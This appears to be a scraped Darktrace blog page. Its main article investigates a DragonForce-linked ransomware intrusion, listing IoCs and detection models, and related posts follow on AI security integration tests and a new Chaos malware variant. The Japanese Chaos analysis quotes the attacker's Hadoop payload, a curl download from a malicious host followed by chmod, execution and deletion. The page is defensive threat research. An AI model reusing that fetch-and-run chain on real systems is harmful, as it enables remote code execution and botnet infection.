November 5, 2025

Tracking a Dragon: Investigating a DragonForce-affiliated ransomware attack with Darktrace

Darktrace investigates a DragonForce-affiliated ransomware attack targeting the manufacturing sector. The blog details the attack lifecycle, from network scanning and credential brute-forcing to data exfiltration and file encryption.

Written by

Justin Torres

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Justin Torres

Cyber Analyst

Nov 2025

What is DragonForce?

DragonForce is a Ransomware-as-a-Service (RaaS) platform that emerged in late 2023, offering broad-scale capabilities and infrastructure to threat actors. Recently, DragonForce has been linked to attacks targeting the UK retail sector, resulting in several high-profile cases [1][2]. Moreover, the group launched an affiliate program offering a revenue share of roughly 20%, significantly lower than commissions reported across other RaaS platforms [3].

This Darktrace case study examines a DragonForce-linked RaaS infection within the manufacturing industry. The earliest signs of compromise were observed during working hours in August 2025, where an infected device started performing network scans and attempted to brute-force administrative credentials. After eight days of inactivity, threat actors returned and multiple devices began encrypting files via the SMB protocol using a DragonForce-associated file extension. Ransom notes referencing the group were also dropped, suggesting the threat actor is claiming affiliation with DragonForce, though this has not been confirmed.

Despite Darktrace’s detection of the attack in its early stages, the customer’s deployment did not have Darktrace’s Autonomous Response capability configured, allowing the threat to progress to data exfiltration and file encryption.

Darktrace's Observations

While the initial access vector was not clearly defined in this case study, it was likely achieved through common methods previously employed out by DragonForce affiliates. These include phishing emails leveraging social engineering tactics, exploitation of public-facing applications with known vulnerabilities, web shells, and/or the abuse of remote management tools.

Darktrace’s analysis identified internal devices performing internal network scanning, brute-forcing credentials, and executing unusual Windows Registry operations. Notably, Windows Registry events involving "Schedule\Taskcache\Tasks" contain subkeys for individual tasks, storing GUIDs that can be used to locate and analyze scheduled tasks. Additionally, Control\WMI\Security holds security descriptors for WMI providers and Event Tracing loggers that use non-default security settings respectively.

Furthermore, Darktrace identified data exfiltration activity over SSH, including connections to an ASN associated with a malicious hosting service geolocated in Russia.

1. Network Scan & Brute Force

Darktrace identified anomalous behavior in late August to early September 2025, originating from a source device engaging in internal network scanning followed by brute-force attempts targeting administrator credential, including “administrator”, “Admin”, “rdpadmin”, “ftpadmin”.

Upon further analysis, one of the HTTP connections seen in this activity revealed the use of the user agent string “OpenVAS-VT”, suggesting that the device was using the OpenVAS vulnerability scanner. Subsequently, additional devices began exhibiting network scanning behavior. During this phase, a file named “delete.me” was deleted by multiple devices using SMB protocol. This file is commonly associated with network scanning and penetration testing tool NetScan.

2. Windows Registry Key Update

Following the scanning phase, Darktrace observed the initial device then performing suspicious Winreg operations. This included the use of the ”BaseRegOpenKey” function across multiple registry paths.

Additional operations such as “BaseRegOpenKey” and “BaseRegQueryValue” were also seen around this time. These operations are typically used to retrieve specific registry key values and allow write operations to registry keys.

The registry keys observed included “SYSTEM\CurrentControlSet\Control\WMI\Security” and “Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks”. These keys can be leveraged by malicious actors to update WMI access controls and schedule malicious tasks, respectively, both of which are common techniques for establishing persistence within a compromised system.

3. New Administrator Credential Usage

Darktrace subsequently detected the device using a highly privileged credential, “administrator”, via a successful Kerberos login for the first time. Shortly after, the same credential was used again for a successful SMB session.

These marked the first instances of authentication using the “administrator” credential across the customer’s environment, suggesting potential malicious use of the credential following the earlier brute-force activity.

Figure 1: Darktrace’s detection of administrator credentials being used in Kerberos login events by an infected device.

Figure 2: Darktrace’s detection of administrator credentials being used in SMB sessions by an infected device.

4. Data Exfiltration

Prior to ransomware deployment, several infected devices were observed exfiltrating data to the malicious IP 45.135.232[.]229 via SSH connections [7][8]. This was followed by the device downloading data from other internal devices and transferring an unusually large volume of data to the same external endpoint.

The IP address was first seen on the network on September 2, 2025 - the same date as the observed data exfiltration activity preceding ransomware deployment and encryption.

Further analysis revealed that the endpoint was geolocated in Russia and registered to the malicious hosting provider Proton66. Multiple external researchers have reported malicious activity involving the same Proton66 ASN (AS198953 Proton66 OOO) as far back as April 2025. These activities notably included vulnerability scanning, exploitation attempts, and phishing campaigns, which ultimately led to malware [4][5][6].

Data Exfiltration Endpoint details.

Endpoint: 45.135.232[.]229
ASN: AS198953 Proton66 OOO
Transport protocol: TCP
Application protocol: SSH
Destination port: 22

Figure 3: Darktrace’s summary of the external IP 45.135.232[.]229, first detected on September 2, 2025. The right-hand side showcases model alerts triggered related to this endpoint including multiple data exfiltration related model alerts.

Further investigation into the endpoint using open-source intelligence (OSINT) revealed that it led to a Microsoft Internet Information Services (IIS) Manager console webpage. This interface is typically used to configure and manage web servers. However, threat actors have been known to exploit similar setups, using fake certificate warnings to trick users into downloading malware, or deploying malicious IIS modules to steal credentials.

Figure 4: Live screenshot of the destination (45.135.232[.]229), captured via OSINT sources, displaying a Microsoft IIS Manager console webpage.

5. Ransomware Encryption & Ransom Note

Multiple devices were later observed connecting to internal devices via SMB and performing a range of actions indicative of file encryption. This suspicious activity prompted Darktrace’s Cyber AI Analyst to launch an autonomous investigation, during which it pieced together associated activity and provided concrete timestamps of events for the customer’s visibility.

During this activity, several devices were seen writing a file named “readme.txt” to multiple locations, including network-accessible webroot paths such as inetpub\ and wwwroot\. This “readme.txt” file, later confirmed to be the ransom note, claimed the threat actors were affiliated with DragonForce.

At the same time, devices were seen performing SMB Move, Write and ReadWrite actions involving files with the “.df_win” extension across other internal devices, suggesting that file encryption was actively occurring.

Figure 5: Darktrace’s detection of SMB events (excluding Read events) where the device was seen moving or writing files with the “.df_win” extension.

Figure 6: Darktrace’s detection of a spike in SMB Write events with the filename “readme.txt” on September 9, indicating the start of file encryption.

Conclusion

The rise of Ransomware-as-a-Service (RaaS) and increased attacker customization is fragmenting tactics, techniques, and procedures (TTPs), making it increasingly difficult for security teams to prepare for and defend against each unique intrusion. RaaS providers like DragonForce further complicate this challenge by enabling a wide range of affiliates, each with varying levels of sophistication [9].

In this instance, Darktrace was able to identify several stages of the attack kill chain, including network scanning, the first-time use of privileged credentials, data exfiltration, and ultimately ransomware encryption. Had the customer enabled Darktrace’s Autonomous Response capability, it would have taken timely action to interrupt the attack in its early stages, preventing the eventual data exfiltration and ransomware detonation.

Credit to Justin Torres, Senior Cyber Analyst, Nathaniel Jones, VP, Security & AI Strategy, FCISO, & Emma Foulger, Global Threat Research Operations Lead.

Edited by Ryan Traill (Analyst Content Lead)

[related-resource]

Appendices

References:

1. https://www.infosecurity-magazine.com/news/dragonforce-goup-ms-coop-harrods/

2. https://www.picussecurity.com/resource/blog/dragonforce-ransomware-attacks-retail-giants

3. https://blog.checkpoint.com/security/dragonforce-ransomware-redefining-hybrid-extortion-in-2025/

4. https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/proton66-part-1-mass-scanning-and-exploit-campaigns/

5. https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/proton66-part-2-compromised-wordpress-pages-and-malware-campaigns/

6. https://www.broadcom.com/support/security-center/protection-bulletin/proton66-infrastructure-tied-to-expanding-malware-campaigns-and-c2-operations

7. https://www.virustotal.com/gui/ip-address/45.135.232.229

8. https://spur.us/context/45.135.232.229

9. https://www.group-ib.com/blog/dragonforce-ransomware/

IoC - Type - Description + Confidence

· 45.135.232[.]229 - Endpoint Associated with Data Exfiltration

· .readme.txt – Ransom Note File Extension

· .df_win – File Encryption Extension Observed

MITRE ATT&CK Mapping

DragonForce TTPs vs Darktrace Models

Initial Access:

· Anomalous Connection::Callback on Web Facing Device

Command and Control:

· Compromise::SSL or HTTP Beacon

· Compromise::Beacon to Young Endpoint

· Compromise::Beaconing on Uncommon Port

· Compromise::Suspicious SSL Activity

· Anomalous Connection::Devices Beaconing to New Rare IP

· Compromise::Suspicious HTTP and Anomalous Activity

· DNS Tunnel with TXT Records

Tooling:

· Anomalous File::EXE from Rare External Location

· Anomalous File::Masqueraded File Transfer

· Anomalous File::Numeric File Download

· Anomalous File::Script from Rare External Location

· Anomalous File::Uncommon Microsoft File then Exe

· Anomalous File::Zip or Gzip from Rare External Location

· Anomalous File::Uncommon Microsoft File then Exe

· Anomalous File::Internet Facing System File Download

Reconnaissance:

· Device::Suspicious SMB Query

· Device::ICMP Address Scan

· Anomalous Connection::SMB Enumeration

· Device::Possible SMB/NTLM Reconnaissance

· Anomalous Connection::Possible Share Enumeration Activity

· Device::Possible Active Directory Enumeration

· Anomalous Connection::Large Volume of LDAP Download

· Device::Suspicious LDAP Search Operation

Lateral Movement:

· User::Suspicious Admin SMB Session

· Anomalous Connection::Unusual Internal Remote Desktop

· Anomalous Connection::Unusual Long Remote Desktop Session

· Anomalous Connection::Unusual Admin RDP Session

· User::New Admin Credentials on Client

· User::New Admin Credentials on Server

· Multiple Device Correlations::Spreading New Admin Credentials

· Anomalous Connection::Powershell to Rare External

· Device::New PowerShell User Agent

· Anomalous Active Directory Web Services

· Compromise::Unusual SVCCTL Activity

Evasion:

· Unusual Activity::Anomalous SMB Delete Volume

· Persistence

· Device::Anomalous ITaskScheduler Activity

· Device::AT Service Scheduled Task

· Actions on Objectives

· Compromise::Ransomware::Suspicious SMB Activity (EM)

· Anomalous Connection::Sustained MIME Type Conversion

· Compromise::Ransomware::SMB Reads then Writes with Additional Extensions

· Compromise::Ransomware::Possible Ransom Note Write

· Data Sent to Rare Domain

· Uncommon 1 GiB Outbound

· Enhanced Unusual External Data Transfer

Darktrace Cyber AI Analyst Coverage/Investigation Events:

· Web Application Vulnerability Scanning of Multiple Devices

· Port Scanning

· Large Volume of SMB Login Failures

· Unusual RDP Connections

· Widespread Web Application Vulnerability Scanning

· Unusual SSH Connections

· Unusual Repeated Connections

· Possible Application Layer Reconnaissance Activity

· Unusual Administrative Connections

· Suspicious Remote WMI Activity

· Extensive Unusual Administrative Connections

· Suspicious Directory Replication Service Activity

· Scanning of Multiple Devices

· Unusual External Data Transfer

· SMB Write of Suspicious File

· Suspicious Remote Service Control Activity

· Access of Probable Unencrypted Password Files

· Internal Download and External Upload

· Possible Encryption of Files over SMB

· SMB Writes of Suspicious Files to Multiple Devices

_{The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.}

_{Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.}

_{Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.}

_{The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content.}

Get the latest insights on emerging cyber threats

This report explores the latest trends shaping the cybersecurity landscape and what defenders need to know in 2026.

Inside the SOC

Written by

Justin Torres

Cyber Analyst

•

April 7, 2026

Nathaniel Bill

Malware Research Engineer

Watch the NIS2 Webinar

Blog

AI

April 10, 2026

How to Secure AI and Find the Gaps in Your Security Operations

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.
‍

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)

Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.

Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)

Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

What happened?

Who did it?

Why did they do it?

How did they do it?

Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.
‍

1. Do your controls see the same event the same way?

Integration questions

When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

Shadow Identity Test

Create a temporary identity with no history.
Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.

Context Propagation Test

Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
Low maturity signal: nothing changes unless an analyst manually intervenes.

‍

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.

Tests you can run

Chain Reaction Test

Simulate a primitive threat (e.g., access from TOR exit node).
Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
Weak seam indicator: only one tool reacts.

Autonomous Boundary Test

Induce a low‑grade anomaly (credential spray simulation).
Evaluate whether automated containment rules activate without breaking legitimate workflows.

‍

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.

Tests you can run

One‑Hour Timeline Build Test

Pick any detection.
Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
Weak seam indicator: they spend >50% of the hour stitching exports.

Multi‑Hop Replay Test

Simulate an incident that crosses domains (phish → SaaS token → data access).
Evaluate whether the investigative platform auto‑reconstructs the chain.

‍

4. Do you detect intent or only outcomes?

Integration questions

Can your stack detect the setup behaviors before an attack becomes irreversible?
Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

Intent‑Before‑Impact Test

Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
Mature systems will flag intent even without an exploit.

CVE‑Window Test

During a real CVE patch cycle, measure detection lag vs. public PoC release.
Weak seam indicator: your detection rises only after mass exploitation begins.

‍

5. Are response and remediation two separate universes?

Integration questions

When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

Closed‑Loop Remediation Test

Introduce a small misconfiguration (over‑permissioned identity).
Trigger an anomaly.
Mature stacks will: detect → contain → recommend or automate posture repair.

Drift‑Regression Test

After remediation, intentionally re‑introduce drift.
The system should immediately recognize deviation from known‑good baseline.

‍

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

Is “normal behavior” defined in one place or many?
Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

Baseline Drift Test

Change the behavior of a service account for 24 hours.
Mature platforms will flag the deviation early and propagate updated expectations.

Cross‑Domain Baseline Consistency Test

Compare identity’s risk score vs. cloud vs. SaaS.
Weak seam indicator: risk scores don’t align.

‍

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

About the author

Nabil Zoldjalali

VP, Field CISO

Blog

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです^[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE（共通脆弱性識別子）を通じて拡散します。その後感染したデバイスをDDoS（分散型サービス拒否攻撃）ボットネットや、暗号通貨マイニングに使用します。

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint. — 図1：保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます：

‍curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。‍
chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。‍
./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬（RAT）を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー（VPS）です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service. — 図2：systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています：

HTTP
TLS
TCP
UDP
WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール（C2）サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed. — 図3：StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当： Nathaniel Bill (Malware Research Engineer)
編集： Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

About the author

Nathaniel Bill

Malware Research Engineer

あなたのデータ × DarktraceのAI

唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ

デモを予約

Check out this article by Darktrace: Tracking a Dragon: Investigating a DragonForce-affiliated ransomware attack with Darktrace

Tracking a Dragon: Investigating a DragonForce-affiliated ransomware attack with Darktrace

What is DragonForce?

Darktrace's Observations

1. Network Scan & Brute Force

2. Windows Registry Key Update

3. New Administrator Credential Usage

4. Data Exfiltration

5. Ransomware Encryption & Ransom Note

Conclusion

Appendices

References:

IoC - Type - Description + Confidence

MITRE ATT&CK Mapping

Get the latest insights on emerging cyber threats

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

How to Secure AI and Find the Gaps in Your Security Operations

ブログをお楽しみ頂けましたか？

More in this series

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Phantom Footprints: Tracking GhostSocks Malware

When Reality Diverges from the Playbook: Darktrace Identifies Encryption in a World Leaks Ransomware Attack

Blog

AI

April 10, 2026

How to Secure AI and Find the Gaps in Your Security Operations

What “securing AI” actually means (and doesn’t)

From cloud consolidation to AI systems what we can learn

The case for a platform approach in the age of AI

What to watch next: How the AI security market will likely evolve

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

1. Do your controls see the same event the same way?

2. Does detection trigger coordinated action, or does everything act alone?

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

4. Do you detect intent or only outcomes?

5. Are response and remediation two separate universes?

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Final takeaway

Blog

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

はじめに

Chaosマルウェアとは?

Chaosマルウェア侵害についてのダークトレースの視点

アップデートされたChaosマルウェアサンプルの分析

主なポイント

侵害インジケーター (IoCs)

参考資料